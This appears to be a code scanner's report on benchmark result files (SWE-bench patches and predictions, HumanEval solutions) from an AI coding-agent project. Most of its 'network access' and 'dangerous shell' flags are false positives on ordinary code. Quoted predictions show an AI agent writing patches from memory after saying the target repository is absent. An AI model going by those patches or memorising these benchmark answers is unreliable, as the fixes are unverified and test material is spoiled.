    +                c, nc = S.One, []
  • Network accessline 26
    c, nc = S.One, []

skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/sympy__sympy-20154.patch

  • Network accessline 27
    -    Reference: -    Modified from Tim Peter's version to allow for k and m values: -    http://code.activestate.com/recipes/218332-generator-for-integer-partitions/
  • Network accessline 28
    -    Modified from Tim Peter's version to allow for k and m values: -    http://code.activestate.com/recipes/218332-generator-for-integer-partitions/ -
  • Network accessline 29
    -    http://code.activestate.com/recipes/218332-generator-for-integer-partitions/

skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/sympy__sympy-21379.patch

  • Dangerous shell operationline 11
    @@ -40,6 +40,7 @@ def eval(cls, p, q):
  • Dangerous shell operationline 19
    @@ -166,10 +167,13 @@ def eval(cls, p, q):

skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-predictions.json

  • Network accessline 32
    {     "instance_id": "django__django-10914",     "model_patch": "Based on my search, this repository does not contain the Django codebase. However, I can generate the patch based on my knowledge of the Django codebase structure and the issu
  • Network accessline 33
    "instance_id": "django__django-10914",     "model_patch": "Based on my search, this repository does not contain the Django codebase. However, I can generate the patch based on my knowledge of the Django codebase structure and the issue requ
  • Network accessline 34
    "model_patch": "Based on my search, this repository does not contain the Django codebase. However, I can generate the patch based on my knowledge of the Django codebase structure and the issue requirements. The issue is well-documented and 
  • Network accessline 82
    {     "instance_id": "django__django-11422",     "model_patch": "Based on my knowledge of Django and the issue description, I can construct the patch. The issue is in the `iter_modules_and_files` function in `django/utils/autoreload.py`. Th
  • Network accessline 83
    "instance_id": "django__django-11422",     "model_patch": "Based on my knowledge of Django and the issue description, I can construct the patch. The issue is in the `iter_modules_and_files` function in `django/utils/autoreload.py`. The prob
  • Network accessline 84
    "model_patch": "Based on my knowledge of Django and the issue description, I can construct the patch. The issue is in the `iter_modules_and_files` function in `django/utils/autoreload.py`. The problem is that when a module is `__main__` (li
  • Network accessline 257
    {     "instance_id": "django__django-13265",     "model_patch": "I don't have direct access to Django's repository in the local filesystem. Based on my knowledge of Django's codebase and the issue description, I can generate the fix. The is
  • Network accessline 258
    "instance_id": "django__django-13265",     "model_patch": "I don't have direct access to Django's repository in the local filesystem. Based on my knowledge of Django's codebase and the issue description, I can generate the fix. The issue is
  • Network accessline 259
    "model_patch": "I don't have direct access to Django's repository in the local filesystem. Based on my knowledge of Django's codebase and the issue description, I can generate the fix. The issue is in the migration autodetector where AddInd
  • Dangerous shell operationline 304
    "model_patch": "This issue is from the django/django repository, but we're in a different directory. Let me search for the Django source or understand this is about creating a patch for the Django repository.\n\nBased on the issue descripti
  • Network accessline 827
    {     "instance_id": "pylint-dev__pylint-7228",     "model_patch": "I see the patches for other pylint issues (6506, 7080, 7114) but not the specific issue about the `\\p{Han}` regex error. However, from the hints in the issue discussion, i
  • Network accessline 828
    "instance_id": "pylint-dev__pylint-7228",     "model_patch": "I see the patches for other pylint issues (6506, 7080, 7114) but not the specific issue about the `\\p{Han}` regex error. However, from the hints in the issue discussion, it's cl
  • Network accessline 829
    "model_patch": "I see the patches for other pylint issues (6506, 7080, 7114) but not the specific issue about the `\\p{Han}` regex error. However, from the hints in the issue discussion, it's clear that:\n\n1. The error occurs during config
  • Network accessline 872
    {     "instance_id": "pytest-dev__pytest-5692",     "model_patch": "This repository doesn't contain the pytest source code. Since this is asking about fixing a GitHub issue in pytest-dev/pytest, I need to provide a patch based on my knowled
  • Network accessline 873
    "instance_id": "pytest-dev__pytest-5692",     "model_patch": "This repository doesn't contain the pytest source code. Since this is asking about fixing a GitHub issue in pytest-dev/pytest, I need to provide a patch based on my knowledge of 
  • Network accessline 874
    "model_patch": "This repository doesn't contain the pytest source code. Since this is asking about fixing a GitHub issue in pytest-dev/pytest, I need to provide a patch based on my knowledge of the pytest codebase. The JUnit XML reporting i
  • Dangerous shell operationline 894
    "model_patch": "Based on my knowledge of the pytest codebase and the issue description, I can provide the patch. The issue mentions:\n\n1. The `cached_eval` function in `_pytest/mark/evaluate.py` caches evaluation results using only the str
  • Dangerous shell operationline 1179
    "model_patch": "Based on my knowledge of SymPy's structure and the issue description mentioning that Fibonacci and Lucas numbers were recently fixed with similar issues, I can provide the correct patch. In SymPy, the `bell` class in `sympy/
  • Network accessline 1207
    {     "instance_id": "sympy__sympy-13915",     "model_patch": "Based on my understanding of the SymPy issue and the discussions in the GitHub issue, I can create the fix. The issue is in `sympy/core/mul.py` where the `_gather` helper in the
  • Network accessline 1208
    "instance_id": "sympy__sympy-13915",     "model_patch": "Based on my understanding of the SymPy issue and the discussions in the GitHub issue, I can create the fix. The issue is in `sympy/core/mul.py` where the `_gather` helper in the `Mul`
  • Network accessline 1209
    "model_patch": "Based on my understanding of the SymPy issue and the discussions in the GitHub issue, I can create the fix. The issue is in `sympy/core/mul.py` where the `_gather` helper in the `Mul` class combines powers incorrectly when t
  • Network accessline 1382
    {     "instance_id": "sympy__sympy-20154",     "model_patch": "Based on my knowledge of the SymPy codebase and the issue described, I need to create a patch for the `partitions()` function in `sympy/utilities/iterables.py`. The function reu
  • Network accessline 1383
    "instance_id": "sympy__sympy-20154",     "model_patch": "Based on my knowledge of the SymPy codebase and the issue described, I need to create a patch for the `partitions()` function in `sympy/utilities/iterables.py`. The function reuses th
  • Network accessline 1384
    "model_patch": "Based on my knowledge of the SymPy codebase and the issue described, I need to create a patch for the `partitions()` function in `sympy/utilities/iterables.py`. The function reuses the same dictionary object and yields it on
  • Dangerous shell operationline 1424
    "model_patch": "Based on the issue details, I have all the information needed to create the patch. The issue provides:\n\n1. The exact location: `sympy/core/mod.py` in the `eval` method\n2. The suggested fix from @jksuom in the issue\n3. Th

skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-results.json

  • Network accessline 40
    {       "instance_id": "django__django-10914",       "model_patch": "Based on my search, this repository does not contain the Django codebase. However, I can generate the patch based on my knowledge of the Django codebase structure and the 
  • Network accessline 41
    "instance_id": "django__django-10914",       "model_patch": "Based on my search, this repository does not contain the Django codebase. However, I can generate the patch based on my knowledge of the Django codebase structure and the issue re
  • Network accessline 42
    "model_patch": "Based on my search, this repository does not contain the Django codebase. However, I can generate the patch based on my knowledge of the Django codebase structure and the issue requirements. The issue is well-documented and 
  • Network accessline 90
    {       "instance_id": "django__django-11422",       "model_patch": "Based on my knowledge of Django and the issue description, I can construct the patch. The issue is in the `iter_modules_and_files` function in `django/utils/autoreload.py`
  • Network accessline 91
    "instance_id": "django__django-11422",       "model_patch": "Based on my knowledge of Django and the issue description, I can construct the patch. The issue is in the `iter_modules_and_files` function in `django/utils/autoreload.py`. The pr
  • Network accessline 92
    "model_patch": "Based on my knowledge of Django and the issue description, I can construct the patch. The issue is in the `iter_modules_and_files` function in `django/utils/autoreload.py`. The problem is that when a module is `__main__` (li
  • Network accessline 265
    {       "instance_id": "django__django-13265",       "model_patch": "I don't have direct access to Django's repository in the local filesystem. Based on my knowledge of Django's codebase and the issue description, I can generate the fix. Th
  • Network accessline 266
    "instance_id": "django__django-13265",       "model_patch": "I don't have direct access to Django's repository in the local filesystem. Based on my knowledge of Django's codebase and the issue description, I can generate the fix. The issue 
  • Network accessline 267
    "model_patch": "I don't have direct access to Django's repository in the local filesystem. Based on my knowledge of Django's codebase and the issue description, I can generate the fix. The issue is in the migration autodetector where AddInd
  • Dangerous shell operationline 312
    "model_patch": "This issue is from the django/django repository, but we're in a different directory. Let me search for the Django source or understand this is about creating a patch for the Django repository.\n\nBased on the issue descripti
  • Network accessline 835
    {       "instance_id": "pylint-dev__pylint-7228",       "model_patch": "I see the patches for other pylint issues (6506, 7080, 7114) but not the specific issue about the `\\p{Han}` regex error. However, from the hints in the issue discussio
  • Network accessline 836
    "instance_id": "pylint-dev__pylint-7228",       "model_patch": "I see the patches for other pylint issues (6506, 7080, 7114) but not the specific issue about the `\\p{Han}` regex error. However, from the hints in the issue discussion, it's 
  • Network accessline 837
    "model_patch": "I see the patches for other pylint issues (6506, 7080, 7114) but not the specific issue about the `\\p{Han}` regex error. However, from the hints in the issue discussion, it's clear that:\n\n1. The error occurs during config
  • Network accessline 880
    {       "instance_id": "pytest-dev__pytest-5692",       "model_patch": "This repository doesn't contain the pytest source code. Since this is asking about fixing a GitHub issue in pytest-dev/pytest, I need to provide a patch based on my kno
  • Network accessline 881
    "instance_id": "pytest-dev__pytest-5692",       "model_patch": "This repository doesn't contain the pytest source code. Since this is asking about fixing a GitHub issue in pytest-dev/pytest, I need to provide a patch based on my knowledge o
  • Network accessline 882
    "model_patch": "This repository doesn't contain the pytest source code. Since this is asking about fixing a GitHub issue in pytest-dev/pytest, I need to provide a patch based on my knowledge of the pytest codebase. The JUnit XML reporting i
  • Dangerous shell operationline 902
    "model_patch": "Based on my knowledge of the pytest codebase and the issue description, I can provide the patch. The issue mentions:\n\n1. The `cached_eval` function in `_pytest/mark/evaluate.py` caches evaluation results using only the str
  • Dangerous shell operationline 1187
    "model_patch": "Based on my knowledge of SymPy's structure and the issue description mentioning that Fibonacci and Lucas numbers were recently fixed with similar issues, I can provide the correct patch. In SymPy, the `bell` class in `sympy/
  • Network accessline 1215
    {       "instance_id": "sympy__sympy-13915",       "model_patch": "Based on my understanding of the SymPy issue and the discussions in the GitHub issue, I can create the fix. The issue is in `sympy/core/mul.py` where the `_gather` helper in
  • Network accessline 1216
    "instance_id": "sympy__sympy-13915",       "model_patch": "Based on my understanding of the SymPy issue and the discussions in the GitHub issue, I can create the fix. The issue is in `sympy/core/mul.py` where the `_gather` helper in the `Mu
  • Network accessline 1217
    "model_patch": "Based on my understanding of the SymPy issue and the discussions in the GitHub issue, I can create the fix. The issue is in `sympy/core/mul.py` where the `_gather` helper in the `Mul` class combines powers incorrectly when t
  • Network accessline 1390
    {       "instance_id": "sympy__sympy-20154",       "model_patch": "Based on my knowledge of the SymPy codebase and the issue described, I need to create a patch for the `partitions()` function in `sympy/utilities/iterables.py`. The function
  • Network accessline 1391
    "instance_id": "sympy__sympy-20154",       "model_patch": "Based on my knowledge of the SymPy codebase and the issue described, I need to create a patch for the `partitions()` function in `sympy/utilities/iterables.py`. The function reuses 
  • Network accessline 1392
    "model_patch": "Based on my knowledge of the SymPy codebase and the issue described, I need to create a patch for the `partitions()` function in `sympy/utilities/iterables.py`. The function reuses the same dictionary object and yields it on
  • Dangerous shell operationline 1432
    "model_patch": "Based on the issue details, I have all the information needed to create the patch. The issue provides:\n\n1. The exact location: `sympy/core/mod.py` in the `eval` method\n2. The suggested fix from @jksuom in the issue\n3. Th

skills/loki-mode/benchmarks/results/2026-01-05-01-35-39/swebench-patches/django__django-10914.patch

  • Network accessline 5
    @@ -304,7 +304,7 @@ SECRET_KEY = ''  # The numeric mode to set newly-uploaded files to. The value should be a mode  # you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories.
  • Network accessline 6
    # The numeric mode to set newly-uploaded files to. The value should be a mode  # you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories. -FILE_UPLOAD_PERMISSIONS = None
  • Network accessline 7
    # you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories.

skills/loki-mode/benchmarks/results/2026-01-05-01-35-39/swebench-predictions.json

  • Network accessline 32
    {     "instance_id": "django__django-10914",     "model_patch": "I can see this patch file contains explanatory text before the actual patch content. The actual unified diff starts at line 15. Based on the issue requirements and the content
  • Network accessline 33
    "instance_id": "django__django-10914",     "model_patch": "I can see this patch file contains explanatory text before the actual patch content. The actual unified diff starts at line 15. Based on the issue requirements and the content I fou
  • Network accessline 34
    "model_patch": "I can see this patch file contains explanatory text before the actual patch content. The actual unified diff starts at line 15. Based on the issue requirements and the content I found, here is the complete patch:\n\n--- a/dj

skills/loki-mode/benchmarks/results/2026-01-05-01-35-39/swebench-results.json

  • Network accessline 40
    {       "instance_id": "django__django-10914",       "model_patch": "I can see this patch file contains explanatory text before the actual patch content. The actual unified diff starts at line 15. Based on the issue requirements and the con
  • Network accessline 41
    "instance_id": "django__django-10914",       "model_patch": "I can see this patch file contains explanatory text before the actual patch content. The actual unified diff starts at line 15. Based on the issue requirements and the content I f
  • Network accessline 42
    "model_patch": "I can see this patch file contains explanatory text before the actual patch content. The actual unified diff starts at line 15. Based on the issue requirements and the content I found, here is the complete patch:\n\n--- a/dj

skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/django__django-10914.patch

  • Network accessline 11
    -# The numeric mode to set newly-uploaded files to. The value should be a mode -# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories.
  • Network accessline 12
    -# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories.
  • Network accessline 13
    -FILE_UPLOAD_PERMISSIONS = None +# The numeric mode to set newly-uploaded files to. The value should be a mode +# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories.
  • Network accessline 14
    +# The numeric mode to set newly-uploaded files to. The value should be a mode +# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories. +FILE_UPLOAD_PERMISSIONS = 0o644
  • Network accessline 15
    +# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories.

skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/django__django-11564.patch

  • Network accessline 95
    +        url = urljoin(self.base_url, url) +        # Add SCRIPT_NAME prefix to relative URLs (those starting with /) +        # but not absolute URLs (those with a scheme like http://)
  • Network accessline 96
    +        # Add SCRIPT_NAME prefix to relative URLs (those starting with /) +        # but not absolute URLs (those with a scheme like http://) +        if url.startswith('/') and not url.startswith('//'):
  • Network accessline 97
    +        # but not absolute URLs (those with a scheme like http://)

skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/django__django-13660.patch

  • Dangerous shell operationline 11
    -            exec(options['command'])
  • Dangerous shell operationline 12
    +            exec(options['command'], {})
  • Dangerous shell operationline 18
    -            exec(sys.stdin.read())
  • Dangerous shell operationline 19
    +            exec(sys.stdin.read(), {})

skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/pylint-dev__pylint-7114.patch

  • Network accessline 9
    +++ b/pylint/lint/expand_modules.py @@ -1,6 +1,7 @@  # Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
  • Network accessline 10
    @@ -1,6 +1,7 @@  # Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html  # For details: https://github.com/pylint-dev/pylint/blob/main/LICENSE
  • Network accessline 11
    # Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
  • Network accessline 12
    # For details: https://github.com/pylint-dev/pylint/blob/main/LICENSE
  • Network accessline 13
    # Copyright (c) https://github.com/pylint-dev/pylint/blob/main/CONTRIBUTORS.txt

skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/pytest-dev__pytest-7373.patch

  • Dangerous shell operationline 31
    -        evalcache[expr] = x = eval(exprcode, d)
  • Dangerous shell operationline 45
    +                        result = eval(_pytest._code.compile(expr, mode="eval"), d)

skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/sympy__sympy-13177.patch

  • Dangerous shell operationline 7
    @@ -39,7 +39,7 @@ def eval(cls, p, q):

skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/sympy__sympy-13437.patch

  • Dangerous shell operationline 11
    def eval(cls, n, k_sym=None, symbols=None):

skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/sympy__sympy-21379.patch

  • Dangerous shell operationline 15
    @@ -166,7 +167,11 @@ def eval(cls, p, q):

skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-patches/sympy__sympy-21627.patch

  • Dangerous shell operationline 7
    @@ -613,10 +613,13 @@ def eval(cls, arg):
  • Dangerous shell operationline 21
    @@ -636,7 +639,7 @@ def eval(cls, arg):

skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-predictions.json

  • Network accessline 38
    {     "instance_id": "django__django-10914",     "model_patch": "--- a/django/conf/global_settings.py\n+++ b/django/conf/global_settings.py\n@@ -304,7 +304,7 @@ DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage'\n # FILE_U
  • Network accessline 39
    "instance_id": "django__django-10914",     "model_patch": "--- a/django/conf/global_settings.py\n+++ b/django/conf/global_settings.py\n@@ -304,7 +304,7 @@ DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage'\n # FILE_UPLOAD_
  • Network accessline 40
    "model_patch": "--- a/django/conf/global_settings.py\n+++ b/django/conf/global_settings.py\n@@ -304,7 +304,7 @@ DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage'\n # FILE_UPLOAD_TEMP_DIR.\n FILE_UPLOAD_TEMP_DIR = None\n \
  • Network accessline 104
    {     "instance_id": "django__django-11564",     "model_patch": "Based on my knowledge of the Django codebase and the issue description, I'll generate the patch. The fix involves modifying the `url()` methods in the storage classes to prepe
  • Network accessline 105
    "instance_id": "django__django-11564",     "model_patch": "Based on my knowledge of the Django codebase and the issue description, I'll generate the patch. The fix involves modifying the `url()` methods in the storage classes to prepend the
  • Network accessline 106
    "model_patch": "Based on my knowledge of the Django codebase and the issue description, I'll generate the patch. The fix involves modifying the `url()` methods in the storage classes to prepend the script prefix for relative URLs.\n\n```\n-
  • Dangerous shell operationline 364
    "model_patch": "--- a/django/core/management/commands/shell.py\n+++ b/django/core/management/commands/shell.py\n@@ -83,13 +83,13 @@ class Command(BaseCommand):\n     def handle(self, **options):\n         # Execute the command and exit.\n  
  • Network accessline 986
    {     "instance_id": "pylint-dev__pylint-7114",     "model_patch": "Based on my analysis of the issue and understanding of pylint's codebase, here is the patch that fixes this issue:\n\n```\n--- a/pylint/lint/expand_modules.py\n+++ b/pylint
  • Network accessline 987
    "instance_id": "pylint-dev__pylint-7114",     "model_patch": "Based on my analysis of the issue and understanding of pylint's codebase, here is the patch that fixes this issue:\n\n```\n--- a/pylint/lint/expand_modules.py\n+++ b/pylint/lint/
  • Network accessline 988
    "model_patch": "Based on my analysis of the issue and understanding of pylint's codebase, here is the patch that fixes this issue:\n\n```\n--- a/pylint/lint/expand_modules.py\n+++ b/pylint/lint/expand_modules.py\n@@ -1,6 +1,7 @@\n # License
  • Dangerous shell operationline 1072
    "model_patch": "--- a/src/_pytest/mark/evaluate.py\n+++ b/src/_pytest/mark/evaluate.py\n@@ -10,7 +10,6 @@ from ..outcomes import fail\n from ..outcomes import TEST_OUTCOME\n from .structures import Mark\n from _pytest.config import Config\n
  • Dangerous shell operationline 1408
    "model_patch": "--- a/sympy/core/mod.py\n+++ b/sympy/core/mod.py\n@@ -39,7 +39,7 @@ def eval(cls, p, q):\n             return S.Zero\n \n         if (p == q or p == -q or\n-                p.is_Pow and p.exp.is_Integer and p.base == q or\n+
  • Dangerous shell operationline 1414
    "model_patch": "Based on my analysis of the issue and the SymPy codebase patterns, here is the patch:\n\n--- a/sympy/functions/combinatorial/numbers.py\n+++ b/sympy/functions/combinatorial/numbers.py\n@@ -436,6 +436,9 @@ class bell(Function
  • Dangerous shell operationline 1708
    "model_patch": "--- a/sympy/core/mod.py\n+++ b/sympy/core/mod.py\n@@ -7,6 +7,7 @@ from .logic import fuzzy_and, fuzzy_not\n from .mul import Mul\n from .singleton import S\n from .exprtools import factor_terms\n+from sympy.polys.polyerrors 
  • Dangerous shell operationline 1726
    "model_patch": "--- a/sympy/functions/elementary/complexes.py\n+++ b/sympy/functions/elementary/complexes.py\n@@ -613,10 +613,13 @@ def eval(cls, arg):\n             return arg\n         if arg.is_extended_negative:\n             return -ar

skills/loki-mode/benchmarks/results/2026-01-05-10-37-54/swebench-loki-results.json

  • Network accessline 46
    {       "instance_id": "django__django-10914",       "model_patch": "--- a/django/conf/global_settings.py\n+++ b/django/conf/global_settings.py\n@@ -304,7 +304,7 @@ DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage'\n # FI
  • Network accessline 47
    "instance_id": "django__django-10914",       "model_patch": "--- a/django/conf/global_settings.py\n+++ b/django/conf/global_settings.py\n@@ -304,7 +304,7 @@ DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage'\n # FILE_UPLOA
  • Network accessline 48
    "model_patch": "--- a/django/conf/global_settings.py\n+++ b/django/conf/global_settings.py\n@@ -304,7 +304,7 @@ DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage'\n # FILE_UPLOAD_TEMP_DIR.\n FILE_UPLOAD_TEMP_DIR = None\n \
  • Network accessline 112
    {       "instance_id": "django__django-11564",       "model_patch": "Based on my knowledge of the Django codebase and the issue description, I'll generate the patch. The fix involves modifying the `url()` methods in the storage classes to p
  • Network accessline 113
    "instance_id": "django__django-11564",       "model_patch": "Based on my knowledge of the Django codebase and the issue description, I'll generate the patch. The fix involves modifying the `url()` methods in the storage classes to prepend t
  • Network accessline 114
    "model_patch": "Based on my knowledge of the Django codebase and the issue description, I'll generate the patch. The fix involves modifying the `url()` methods in the storage classes to prepend the script prefix for relative URLs.\n\n```\n-
  • Dangerous shell operationline 372
    "model_patch": "--- a/django/core/management/commands/shell.py\n+++ b/django/core/management/commands/shell.py\n@@ -83,13 +83,13 @@ class Command(BaseCommand):\n     def handle(self, **options):\n         # Execute the command and exit.\n  
  • Network accessline 994
    {       "instance_id": "pylint-dev__pylint-7114",       "model_patch": "Based on my analysis of the issue and understanding of pylint's codebase, here is the patch that fixes this issue:\n\n```\n--- a/pylint/lint/expand_modules.py\n+++ b/py
  • Network accessline 995
    "instance_id": "pylint-dev__pylint-7114",       "model_patch": "Based on my analysis of the issue and understanding of pylint's codebase, here is the patch that fixes this issue:\n\n```\n--- a/pylint/lint/expand_modules.py\n+++ b/pylint/lin
  • Network accessline 996
    "model_patch": "Based on my analysis of the issue and understanding of pylint's codebase, here is the patch that fixes this issue:\n\n```\n--- a/pylint/lint/expand_modules.py\n+++ b/pylint/lint/expand_modules.py\n@@ -1,6 +1,7 @@\n # License
  • Dangerous shell operationline 1080
    "model_patch": "--- a/src/_pytest/mark/evaluate.py\n+++ b/src/_pytest/mark/evaluate.py\n@@ -10,7 +10,6 @@ from ..outcomes import fail\n from ..outcomes import TEST_OUTCOME\n from .structures import Mark\n from _pytest.config import Config\n
  • Dangerous shell operationline 1416
    "model_patch": "--- a/sympy/core/mod.py\n+++ b/sympy/core/mod.py\n@@ -39,7 +39,7 @@ def eval(cls, p, q):\n             return S.Zero\n \n         if (p == q or p == -q or\n-                p.is_Pow and p.exp.is_Integer and p.base == q or\n+
  • Dangerous shell operationline 1422
    "model_patch": "Based on my analysis of the issue and the SymPy codebase patterns, here is the patch:\n\n--- a/sympy/functions/combinatorial/numbers.py\n+++ b/sympy/functions/combinatorial/numbers.py\n@@ -436,6 +436,9 @@ class bell(Function
  • Dangerous shell operationline 1716
    "model_patch": "--- a/sympy/core/mod.py\n+++ b/sympy/core/mod.py\n@@ -7,6 +7,7 @@ from .logic import fuzzy_and, fuzzy_not\n from .mul import Mul\n from .singleton import S\n from .exprtools import factor_terms\n+from sympy.polys.polyerrors 
  • Dangerous shell operationline 1734
    "model_patch": "--- a/sympy/functions/elementary/complexes.py\n+++ b/sympy/functions/elementary/complexes.py\n@@ -613,10 +613,13 @@ def eval(cls, arg):\n             return arg\n         if arg.is_extended_negative:\n             return -ar

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/0.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/1.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/10.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/100.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/101.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/102.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/103.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/104.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/105.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/106.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/107.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/108.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/109.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/11.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/110.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/111.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/112.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/113.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/114.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/115.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/116.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/117.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/118.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/119.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/12.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/120.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/121.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/122.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/123.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/124.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/125.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/126.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/127.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/128.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/129.py

  • Executable scriptline 1
    Executable file
  • Network accessline 48
    directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]     for dr, dc in directions:         nr, nc = row_1 + dr, col_1 + dc
  • Network accessline 49
    for dr, dc in directions:         nr, nc = row_1 + dr, col_1 + dc         if 0 <= nr < n and 0 <= nc < n:
  • Network accessline 50
    nr, nc = row_1 + dr, col_1 + dc
  • Network accessline 51
    if 0 <= nr < n and 0 <= nc < n:

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/13.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/130.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/131.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/132.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/133.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/134.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/135.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/136.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/137.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/138.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/139.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/14.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/140.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/141.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/142.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/143.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/144.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/145.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/146.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/147.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/148.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/149.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/humaneval-loki-solutions/15.py

  • Executable scriptline 1
    Executable file

